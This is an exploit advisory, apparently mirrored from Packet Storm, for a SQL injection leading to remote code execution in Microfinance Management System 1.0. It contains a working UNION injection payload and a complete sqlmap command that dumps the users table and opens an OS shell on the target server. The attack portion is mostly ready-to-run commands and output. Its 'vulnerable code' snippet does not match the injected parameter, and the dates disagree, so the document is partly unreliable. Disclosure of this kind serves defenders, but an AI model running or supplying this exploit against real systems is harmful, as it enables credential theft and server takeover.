Lucene search
K

Microfinance Management System 1.0 SQL Injection

🗓️ 24 Mar 2022 00:00:00Reported by Hejap ZairyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 301 Views

Microfinance Management System 1.0 SQL Injection vulnerability to Remote Code Execution by Hejap Zairy on Windows, MySQL, Apach

Code
`# Title: Microfinance Management System 1.0 SQLi To Rce  
# Author: Hejap Zairy  
# Date: 24.07.2022  
# Vendor: https://www.sourcecodester.com/php/14822/microfinance-management-system.html  
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/mims_0.zip  
# Reference: https://github.com/Matrix07ksa  
# Tested on: Windows, MySQL, Apache  
  
  
  
#vulnerability Code php  
  
```php  
<?php  
$sql = "SELECT count(*) AS total_account FROM account_type";  
$result = mysqli_query($conn, $sql);  
$data = mysqli_fetch_assoc($result);  
?>  
}  
```  
  
  
  
  
#Status: CRITICAL  
```  
GET parameter 'account_type_number' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y  
sqlmap identified the following injection point(s) with a total of 147 HTTP(s) requests:  
---  
Parameter: account_type_number (GET)  
Type: UNION query  
Title: MySQL UNION query (random number) - 3 columns  
Payload: account_type_number=-6015' UNION ALL SELECT 7366,CONCAT(0x716b626b71,0x4268666c6b715274794a58534f487366546e5379414951584a684459764f424451536f5a707a6a6a,0x7170707a71),7366#  
---  
  
```  
#SQLi Time to Rce  
#ُExploit   
  
  
sqlmap -u 'http://0day.gov/mims/updateaccount_type.php?account_type_number=6015' --hex --time-sec=17 --dbms=mysql --technique=u --random-agent --eta -p account_type_number -D mims -T users --dump --os-shell   
  
# Description:  
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc  
  
# Proof and Exploit:  
https://i.imgur.com/kRcQmxO.png  
https://i.imgur.com/4RmKSom.png  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation